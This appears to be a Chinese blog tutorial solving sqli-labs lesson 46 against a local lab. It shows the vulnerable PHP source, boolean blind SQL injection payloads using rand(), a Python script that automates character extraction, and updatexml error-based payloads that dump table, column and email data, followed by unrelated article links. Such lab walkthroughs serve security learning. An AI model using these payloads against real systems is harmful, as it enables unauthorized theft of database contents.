mysql order by布尔盲注

什么是order by

在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下

select * from 表名 order by 列名(或者数字) asc;升序(默认升序) 
select * from 表名 order by 列名(或者数字) desc;降序

使用sqli-labs-php7-master环境

在第46关查看源码及打开网页

源代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head><body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id)){//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'SORT:'.$id."\n");fclose($fp);$sql = "SELECT * FROM users ORDER BY $id";$result = mysqli_query($con1, $sql);if ($result){?><center><font color= "#00FF00" size="4"><table   border=1'><tr><th>&nbsp;ID&nbsp;</th><th>&nbsp;USERNAME&nbsp;  </th><th>&nbsp;PASSWORD&nbsp;  </th></tr></font></font><?phpwhile ($row = mysqli_fetch_assoc($result)){echo '<font color= "#00FF11" size="3">';		echo "<tr>";echo "<td>".$row['id']."</td>";echo "<td>".$row['username']."</td>";echo "<td>".$row['password']."</td>";echo "</tr>";echo "</font>";}	echo "</table>";}else{echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }}	else{echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo "<br><br><br>";echo '<img src="../images/Less-46.jpg" /><br>';echo "Lesson Concept and code Idea by <b>D4rk</b>";}
?></font> </div></br></br></br></center> 
</body>
</html>

通过审计代码得知是通过stor进行数据的接收
然后将接收到的数据拼接为一个payload
其中代码中没有做任何的过滤和闭合

在前端网页中尝试发送数据查看具体的效果


通过上传数据可以看到是根据输入的字段进行排序的
我们知道order by可以根据字段或者数值
并且我们可以看到前端页面根据排序的数值不同会出现不同的变化
可见我们确实能通过布尔盲注来进行注入
我们需要使用到这些函数
首先可以使用select database()找到库名
接着我们可以使用substr()将库名的字符一个一个的截取出来
我们可以通过ascii()函数将数据库名的每个字母转为ascii码
接着使用rand()函数进行布尔判断

rand()函数可以产生一个随机值,但是如果我们给rand()函数中添加一个值那么rand()产生的值将是固定的例如

所以我们可以利用rand()函数的这个特性进行布尔盲注

具体怎么做呢?

我们根据上面的方法具体可以将payload写为这样

?sort=rand(ascii(substr((select database()),1,1))>114)

具体意思是找到库名,将库名的第一个字母截取出来,然后转为ascii码,然后进行真假判断,根据真假生成随机数
我们之前看到真或假前端页面会出现变化所以我们就可以通过不断的尝试来验证我们的猜想



我们可以看到当它真的小于115的时候页面没有任何变化当他大于115为假的时候它的页面出现了变化,所以我们现在就可以确定库名的第一个字母ascii的值为115通过对比ascii表我们就可以得出第一个字母为s以此类推我们可以得出库名,表名等等


但是这也太麻烦了
纯手工显得我们比较呆我们可以使用python写一个脚本让脚本帮我们跑
 

import requests
import time
#这里需要下载一下beautifulsoup的库
#可以在pycharm中的terminal终端界面中输入pip install beautifulsoup4
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""def inject_database(url):"""使用二分法查询  aaaaaaaaaaaaaaaaaaaa"""name = ''for i in range(1, 50):#这里是猜的因为我们不知道库名的长度,如果报表名可以更长随便写low = 32 #asc从32开始到128结束high = 128mid = (low + high) // 2 while low < high:# 爆库名payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)# 爆表名#payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)# 将payload作为参数传递给请求params = {"sort": payload}# start_time = time.time()# 发送一个GET请求到指定的URL,带上构造好的参数r = requests.get(url, params=params)# 获取请求得到的HTML响应内容html = r.text# 使用BeautifulSoup解析HTML内容soup = BeautifulSoup(html, 'html.parser')# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名getusername = soup.find_all('td')[1].text# end_time = time.time()# 检查获取的用户名是否为'admin3',如果是,则更新low的值if getusername == 'admin3':low = mid + 1# 如果获取的用户名不是'admin3',则更新high的值else:high = mid# 更新中间值,继续二分查找mid = (low + high) // 2if mid == 32:break# 将找到的字符添加到name中name += chr(mid)# 打印出当前已经找到的数据库名称print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/less-46/'inject_database(url)

这样就方便多了比如说爆库名

爆表名

如果你仔细看过代码你会发现其实可以使用报错注入

?sort=updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5e),1)


 

?sort=updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x5e),1)


爆数据
 

?sort=updatexml(1,concat(0x5e,(select substr(email_id,1,32) from emails limit 1 offset 0),0x5e),1)

limit用来限制显示的行数        offset用来限制显示第几行默认从0开始

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/493327.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Atcoder ABC341 C - Takahashi Gets Lost

Takahashi Gets Lost&#xff08;高桥迷路了&#xff09; 时间限制&#xff1a;3s 内存限制&#xff1a;1024MB 【原题地址】 所有图片源自Atcoder&#xff0c;题目译文源自脚本Atcoder Better! 点击此处跳转至原题 【问题描述】 【输入格式】 【输出格式】 【样例1】 【…

备考2025年考研数学(一)真题练习和解析——填空题

今天距离2025年考研预计还有10个月的时间&#xff0c;看起来挺长&#xff0c;但是对于备考2025年考研的同学来说&#xff0c;必须用好每一天。为了帮助大家提升考研数学一的成绩&#xff0c;我收集整理了1987-2024年的考研数学一的真题和解析&#xff0c;并把2015-2024年十年的…

Apipost 数据模型功能API数据重复利用起来

在Apipost数据模型中用户可以预先创建多个数据模型&#xff0c;并在API设计过程中重复利用这些模型来构建API 创建数据模型 在左侧导航点击「数据模型」-「新建数据模型」在右侧工作台配置数据模型参数 引入数据模型 在API设计预定义响应期望下点击引用数据模型&#xff0c;…

ABAP - Function ALV 07 单元格编辑

使用REUSE_ALV_GRID_DISPLAY_LVC显示ALV时&#xff0c;可以将列、行或者具体的某个单元格设置成可编辑能输入状态. 列可编辑只要将Fieldcat中的字段edit设置成‘X&#xff0c;整列就变成能输入的了&#xff0c;LVC_S_FCAT-EDIT X. GT_FIELDCAT TYPE LVC_S_FCAT. gW_FIELDCAT …

VUE基础知识九 ElementUI项目

ElementUI官网 一 项目 最终完成的效果&#xff1a; 切换上边的不同按钮&#xff0c;下方显示不同的表格数据 在src/components下新建不同业务组件的文件夹 1.1 搭建项目 使用脚手架搭建项目后&#xff0c;引入ElementUI&#xff08;搭建、引入ElementUI步骤在第七节里已…

【hot100】跟着小王一起刷leetcode -- 49. 字母异位词分组

【【hot100】跟着小王一起刷leetcode -- 49. 字母异位词分组 49. 字母异位词分组题目解读解题思路代码实现 总结 49. 字母异位词分组 题目解读 49. 字母异位词分组 ok&#xff0c;兄弟们&#xff0c;咱们来看看这道题&#xff0c;很明显哈&#xff0c;这里的关键词是字母异位…

【K8s】初识PV和PVC

​ 目录 收起 O、致谢 一、前言 二、Volume 2.1 什么是Volume 2.2 为什么要引入Volume 2.3 Volume类型有哪些 2.4 Volume如何使用 2.4.1 通过emptyDir共享数据 2.4.2 使用HostPath挂载宿主机文件 2.4.3 挂载NFS至容器 三、PV和PVC 3.1 什么是PV和PVC 3.2 为什么要引入PV和PVC 3…

Educational Codeforces Round 160 (Rated for Div. 2) D. Array Collapse(笛卡尔树+DP)

原题链接&#xff1a;D. Array Collapse 题目大意&#xff1a; 给你一个长度为 n n n 的排列 p p p &#xff0c;排列的定义为 [ 1 , 2 , 3 , . . , n ] [1,2,3,..,n] [1,2,3,..,n] 中每个数都出现 恰好 一次。 你可以做 任意多次 这样的操作&#xff1a; 选出一个任意长度…

PROTEL

PROTEL是什么 Protel软件是由Altium公司&#xff08;原为Protel Technology公司&#xff09;开发的一款电子设计自动化&#xff08;EDA&#xff09;软件&#xff0c;主要用于电子电路设计和印制电路板&#xff08;PCB&#xff09;制作。 学习Protel 99 SE的大致过程 原理图文…

芯科科技与Arduino携手推动Matter普及化

双方的合作可助力开发人员在两分钟内将新开发板配置入网 致力于以安全、智能无线连接技术&#xff0c;建立更互联世界的全球领导厂商Silicon Labs&#xff08;亦称“芯科科技”&#xff0c;NASDAQ&#xff1a;SLAB&#xff09;日前宣布&#xff0c;公司与开源硬件和软件领域的…

【MySQL】表的约束 -- 详解

表中一定要有各种约束&#xff0c;通过约束让我们在未来插入数据库表中的数据是符合预期的。约束本质是通过技术手段倒逼程序员插入正确的数据&#xff0c;反过来站在 MySQL 的角度&#xff0c;凡是插入进来的数据都是符合数据约束的。约束的最终目标&#xff1a;保证数据的完整…

【c语言】字符函数和字符串函数(上)

前言 在编程的过程中&#xff0c;我们经常要处理字符和字符串&#xff0c;为了⽅便操作字符和字符串&#xff0c;C语⾔标准库中提供了⼀系列库函数~ 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 目录 前言 1. 字符分…